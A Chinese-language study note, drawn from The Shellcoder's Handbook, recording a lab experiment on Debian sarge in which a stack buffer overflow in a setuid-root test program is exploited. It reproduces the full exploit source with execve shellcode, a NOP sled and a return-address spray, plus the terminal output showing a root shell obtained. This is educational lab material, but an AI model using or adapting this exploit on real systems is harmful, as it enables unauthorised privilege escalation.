聲明:主要內容來自《The Shellcoder's Handbook》,摘錄重點作為筆記並加上個人的一些理解,如有錯,請務必指出。
在<簡述漏洞提權>中提到一個簡單的程式victim攻擊。由於之前我的系統是Debian/Etch,會故意變化棧的地址,當時未能按照書上做這個測試。後來裝了sarge,遂進行這個實驗,因為這個攻擊執行個體非常有助於棧溢出的理解。
註:sarge的sources.list源非常少了,至少我找不到,我用的是DVD源。DVD:http://cdimage.debian.org/cdimage/archive/3.1_r8/i386/iso-dvd/
插入光碟片後,運行以下命令,建立編譯環境,開通telnet和nfs服務。
apt-cdrom add
apt-get update
apt-get install build-essential
apt-get install telnetd nfs-kernel-server nfs-common
find esp
寫個find_esp.c,用於輸出程式棧地址:
sep@debian:~$ cd shellcode/ sep@debian:~/shellcode$ ls exploit_victim find_esp hellworld shellcode victim exploit_victim.c find_esp.c hellworld.c shellcode.c victim.c sep@debian:~/shellcode$ cat find_esp.c //file: find_esp.c #include <stdio.h> unsigned long find_esp() { __asm__("movl %esp, %eax"); } int main() { printf("0x%x/n", find_esp()); } sep@debian:~/shellcode$ ./find_esp 0xbffffb58 sep@debian:~/shellcode$ ./find_esp 0xbffffb58 sep@debian:~/shellcode$ ./find_esp 0xbffffb58 sep@debian:~/shellcode$
可以看到三次運行find_esp都返回一致的地址值。
victim漏洞
sep@debian:~/shellcode$ cat victim.c //file: victim.c #include <stdio.h> int main(int argc, char *argv[]) { char little_arr[512]; if (argc > 1) strcpy(little_arr, argv[1]); } sep@debian:~/shellcode$ ls -l victim -rwsr-sr-x 1 root sep 11395 2010-08-12 10:00 victim sep@debian:~/shellcode$
注意victim.c中strcpy,程式從命令列擷取輸入後,在沒有進行邊界檢查的情況下,把輸入資料複製到數組,這給我們方便進行棧溢出。註:目標程式victim的屬主已設為root,suid位開啟,當攻擊完成後,我們將會擁有根特權。
編寫溢出攻擊程式
之前有提及我們所面臨的最困難的問題是找出shellcode的起始地址,只能根據esp地址進行猜測。我們用NOP法寫一個EXP,如下:
//file: exploit_victim.c #include <stdio.h> #define DEFAULT_BUFFER_SIZE 512 //預設緩衝區大小,與victim.c緩衝區大小一致 #define NOP 0x90 //空操作指令OP碼 #define NO_DEBUG #ifdef NO_DEBUG #define DPRINTF(a,...) #else #define DPRINTF printf #endif char shellcode[] = "/xeb/x1a/x5e/x31" "/xc0/x88/x46/x07" "/x8d/x1e/x89/x5e" "/x08/x89/x46/x0c" "/xb0/x0b/x89/xf3" "/x8d/x4e/x08/x8d" "/x56/x0c/xcd/x80" "/xe8/xe1/xff/xff" "/xff/x2f/x62/x69" "/x6e/x2f/x73/x68"; //在sarge中,每個程式的棧都以同樣的地址開始,根據這個地址可以猜測shellcode的起始地址 unsigned long find_esp() { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *paddr, addr; int bsize = DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (bsize < strlen(shellcode)) { printf("Buffer size is too small./n"); exit(1); } if (!(buff = malloc(bsize))) { printf("Can't allocate memory./n"); exit(1); } addr = find_esp(); printf("Using address: 0x%08x/n", addr); ptr = buff; DPRINTF("/n/n"); DPRINTF("Fill buff with NOP:/n"); for (i = 0; i < (bsize/2 - strlen(shellcode)/2); i++) { *(ptr++) = NOP; if ((i%0x10) == 0) DPRINTF("/n"); DPRINTF("%02x ", *(long *)(ptr-1)); } DPRINTF("/n/n"); DPRINTF("Fill buff with shellcode:/n"); for (i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; if ((i%0x10) == 0) DPRINTF("/n"); DPRINTF("%02x ", *(long *)(ptr-1)); } DPRINTF("/n/n"); DPRINTF("Fill buff with ret address:/n"); for (i = 0; ptr < &buff[bsize-1]; ptr += 4, i++) { *(long *)ptr = addr; if ((i%0x8) == 0) DPRINTF("/n"); DPRINTF("%08x ", *(long *)ptr); } DPRINTF("/n/n"); buff[bsize - 1] = '/0'; memcpy(buff, "BUF=", 4); putenv(buff); system("/bin/bash"); }
測試結果:
sep@debian:~/shellcode$ gcc -o exploit_victim exploit_victim.c exploit_victim.c: In function `main': exploit_victim.c:45: warning: assignment makes pointer from integer without a cast exploit_victim.c:33: warning: return type of `main' is not `int' sep@debian:~/shellcode$ ./exploit_victim Using address: 0xbffffb18 sep@debian:~/shellcode$ ./victim $BUF sep@debian:~/shellcode$ ./exploit_victim 520 Using address: 0xbffff928 sep@debian:~/shellcode$ ./victim $BUF sep@debian:~/shellcode$ ./exploit_victim 530 Using address: 0xbffff928 sep@debian:~/shellcode$ ./victim $BUF Segmentation fault sep@debian:~/shellcode$ ./exploit_victim 540 Using address: 0xbffff918 sep@debian:~/shellcode$ ./victim $BUF Segmentation fault sep@debian:~/shellcode$ ./exploit_victim 550 Using address: 0xbffff908 sep@debian:~/shellcode$ ./victim $BUF Segmentation fault sep@debian:~/shellcode$ ./exploit_victim 560 Using address: 0xbffff908 sep@debian:~/shellcode$ ./victim $BUF sh-2.05b# id uid=1000(sep) gid=1000(sep) euid=0(root) groups=1000(sep),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev) sh-2.05b# exit exit sep@debian:~/shellcode$ ./exploit_victim 600 Using address: 0xbffff8f8 sep@debian:~/shellcode$ ./victim $BUF sh-2.05b# sh-2.05b# exit exit sep@debian:~/shellcode$
嘗試多個地址後,成功拿到root特權。